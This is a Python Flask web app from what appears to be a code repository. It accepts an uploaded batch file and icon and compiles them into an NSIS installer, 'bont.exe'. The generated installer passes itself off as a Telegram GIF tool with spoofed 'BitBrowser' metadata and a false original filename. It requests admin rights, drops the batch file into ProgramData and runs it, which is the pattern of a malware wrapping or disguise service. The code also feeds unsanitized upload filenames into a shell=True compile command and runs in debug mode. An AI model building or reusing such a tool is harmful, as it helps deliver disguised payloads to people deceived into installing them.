sigyllly's picture
Update main.py
afe2575 verified
raw
history blame
4.38 kB
from flask import Flask, request, send_from_directory, render_template_string
import os
import subprocess
app = Flask(__name__)
# Directory to save uploaded files and generated EXEs
UPLOAD_FOLDER = 'uploads'
COMPILE_FOLDER = 'compiled'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)
# HTML template for the interface
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NSIS Compiler</title>
</head>
<body>
<h1>Upload your .bat and .ico files to compile</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="bat_file" accept=".bat" required>
<input type="file" name="icon_file" accept=".ico" required>
<button type="submit">Upload and Compile</button>
</form>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(html_template)
@app.route('/upload', methods=['POST'])
def upload_files():
if 'bat_file' not in request.files or 'icon_file' not in request.files:
return "No file part"
bat_file = request.files['bat_file']
icon_file = request.files['icon_file']
if bat_file.filename == '' or icon_file.filename == '':
return "No selected file"
# Save the uploaded files
bat_path = os.path.join(UPLOAD_FOLDER, bat_file.filename)
icon_path = os.path.join(UPLOAD_FOLDER, icon_file.filename)
bat_file.save(bat_path)
icon_file.save(icon_path)
# Define the NSIS script content
nsi_script_content = f"""
!include nsDialogs.nsh
!include LogicLib.nsh
# Define installer name and version
Outfile "bont.exe"
InstallDir "$PROGRAMDATA"
# Set the name of the application
Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"
# Set the output directory and the base name of the installer file
SetCompressor /SOLID lzma
RequestExecutionLevel admin
# Application metadata
VIAddVersionKey "ProductName" "bont Gif"
VIAddVersionKey "FileVersion" "1.4.44.3"
VIAddVersionKey "CompanyName" "BitBrowser"
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
VIAddVersionKey "ProductVersion" "1.4.44.3"
VIAddVersionKey "OriginalFilename" "runtime.dll"
# Password to be checked
Var PASSWORD
Var DialogHandle
Var PasswordInput
# Add a password prompt
Function ShowPasswordPage
nsDialogs::Create 1018
Pop $DialogHandle
NSD_CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
Pop $0
NSD_CreatePassword 10u 25u 100% 12u ""
Pop $PasswordInput
nsDialogs::Show
FunctionEnd
# Password check logic
Function CheckPassword
${NSD_GetText} $PasswordInput $PASSWORD
StrCmp $PASSWORD "yourpassword" 0 +3
MessageBox MB_OK "Password accepted"
Return
MessageBox MB_OK "Incorrect password. Installation will now exit."
Abort
FunctionEnd
# Display password page before installation starts
Page custom ShowPasswordPage CheckPassword
Page instfiles
# Define installer sections
Section "Install"
SetOutPath "$PROGRAMDATA"
# Debug the path
MessageBox MB_OK "Attempting to load file from: $INSTDIR\\{bat_file.filename}"
# Files to install (use /nonfatal to allow script to continue if file is missing)
File /nonfatal /r "{bat_path}"
# Run the BAT file post-install (only if it was found)
IfFileExists "$INSTDIR\\{bat_file.filename}" 0 +2
ExecShell "" "$INSTDIR\\{bat_file.filename}"
SectionEnd
"""
# Save the NSIS script to a file
nsi_path = os.path.join(UPLOAD_FOLDER, 'installer_script.nsi')
with open(nsi_path, 'w') as nsi_file:
nsi_file.write(nsi_script_content)
# Compile the NSI file using NSIS
compile_command = f'nsis "{nsi_path}"'
result = subprocess.run(compile_command, shell=True, capture_output=True)
if result.returncode == 0:
return f'Compilation successful! Download <a href="/download/bont.exe">here</a>'
else:
return f'Compilation failed: {result.stderr.decode()}'
@app.route('/download/<filename>')
def download_file(filename):
return send_from_directory(COMPILE_FOLDER, filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=True)